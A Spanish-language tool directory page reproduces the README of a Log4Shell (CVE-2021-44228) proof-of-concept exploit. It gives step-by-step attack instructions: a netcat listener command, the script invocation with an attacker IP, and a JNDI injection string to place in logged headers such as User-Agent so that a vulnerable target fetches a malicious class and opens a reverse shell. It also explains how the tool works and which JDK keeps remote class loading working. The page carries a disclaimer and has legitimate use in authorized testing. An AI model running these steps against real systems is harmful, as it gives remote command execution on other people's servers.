Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
log4j-shell-poc — Una prueba de concepto para la vulnerabilidad CVE-2021-44228. | Kitploit
Herramientas/GitHubGitHub/jiahong-guan/log4j-shell-poc
Generación de PayloadsExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubjiahong-guan/log4j-shell-poc

log4j-shell-poc

Una prueba de concepto para la vulnerabilidad CVE-2021-44228.

Ver Repositorio
16hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

log4shell-poc (CVE-2021-44228)

Exploit de prueba de concepto para la vulnerabilidad de Log4j (CVE-2021-44228), también conocida como Log4Shell. Esta herramienta genera una clase Java maliciosa, inicia un servidor de referencia LDAP y sirve el payload a través de HTTP, permitiendo a un atacante remoto ejecutar comandos arbitrarios en un objetivo vulnerable.

Características

  • Detección automática de la dirección IPv4 local como IP de enlace predeterminada.
  • Soporte del JDK 1.8.0_20 incluido (recomendado) con respaldo al Java del sistema.
  • Payload de reverse shell incorporado (se conecta de vuelta a un listener de netcat).
  • Compilación limpia y eliminación de archivos generados.

Requisitos

  • Python 3.6 o superior
  • Los siguientes archivos/directorios deben estar presentes en la misma carpeta que poc.py:
    • jdk1.8.0_20/ – una copia de Oracle JDK 1.8.0_20 (contiene bin/javac y bin/java). Si falta, el script intentará usar los comandos javac y del sistema.
java
  • target/marshalsec-0.0.3-SNAPSHOT-all.jar – el archivo JAR de marshalsec utilizado para iniciar el servidor LDAP.
  • Instalación

    1. Clona o descarga este repositorio.
    2. Coloca la carpeta jdk1.8.0_20 y el JAR de marshalsec como se describe arriba.
    3. Instala las dependencias de Python:
      root@kitploit:~
      pip install -r requirements.txt
      

    Uso

    Ejecuta el script con Python:

    root@kitploit:~
    python3 poc.py [OPCIONES]
    

    Argumentos de línea de comandos

    ArgumentoTipoPor defectoDescripción
    --useripstringIPv4 autodetectadaDirección IP a la que se enlazarán y anunciarán los servidores LDAP y HTTP. Debe ser accesible desde la máquina objetivo.
    --webportinteger8000Puerto para el servidor HTTP que sirve el Exploit.class compilado.
    --lportinteger9001Puerto donde tu listener de netcat espera la reverse shell. El payload se conectará de vuelta a userip:lport.

    Ejemplo

    1. Inicia un listener de netcat en tu máquina atacante (reemplaza 9001 por el puerto que elijas):

      root@kitploit:~
      nc -lvnp 9001
      
    2. Ejecuta el exploit:

      root@kitploit:~
      python3 poc.py --userip 192.168.1.10 --webport 8080 --lport 9001
      

      Si omites --userip, el script utilizará automáticamente la dirección IPv4 principal de tu máquina.

    3. El script mostrará una cadena de payload para inyectar en el objetivo vulnerable, por ejemplo:

      root@kitploit:~
      ${jndi:ldap://192.168.1.10:1389/a}
      
    4. Inyecta esta cadena en cualquier campo de entrada o cabecera HTTP que sea registrada por una instancia vulnerable de Log4j (p. ej., User-Agent, X-Forwarded-For, etc.). El objetivo se conectará al servidor LDAP, obtendrá la clase maliciosa del servidor HTTP y ejecutará la reverse shell.

    5. Deberías ver aparecer una conexión de shell en tu listener de netcat.

    Cómo funciona

    1. El script genera Exploit.java con código que abre una reverse shell hacia userip:lport.
    2. Compila el archivo usando el JDK proporcionado (o el javac del sistema).
    3. Inicia un servidor LDAP (mediante marshalsec) que responde a las búsquedas JNDI con una referencia al servidor HTTP.
    4. Inicia un servidor HTTP simple en webport para alojar el Exploit.class compilado.
    5. Cuando un objetivo vulnerable realiza una búsqueda JNDI con el payload inyectado, descarga y ejecuta la clase, otorgando al atacante una reverse shell.

    Notas importantes

    • El payload de reverse shell usa /bin/sh y está diseñado para sistemas objetivo tipo Unix. Para objetivos Windows, necesitarías modificar el comando dentro de Exploit.java.
    • Se recomienda el JDK 1.8.0_20 incluido porque las versiones posteriores pueden bloquear la carga remota de clases JNDI utilizada por este exploit.
    • Asegúrate de que los cortafuegos permitan conexiones entrantes en los puertos especificados (webport y lport), y de que el objetivo pueda alcanzar tu máquina.

    Limpieza

    El script elimina automáticamente Exploit.java y Exploit.class al salir (ya sea normalmente o tras un KeyboardInterrupt). Si necesitas conservar los archivos para depuración, comenta el bloque finally en poc.py.

    Descargo de responsabilidad

    Esta herramienta está destinada únicamente a fines educativos y de pruebas de seguridad autorizadas. El uso no autorizado de este exploit contra sistemas que no posees o para los que no tienes permiso explícito de prueba es ilegal. Los autores no son responsables de ningún uso indebido o daño causado por este software.

    Créditos

    • PoC original por kozmer
    • Marshalsec por mbechler
    • Vulnerabilidad de Log4j descubierta por el equipo de seguridad de Alibaba Cloud
    Descargar herramienta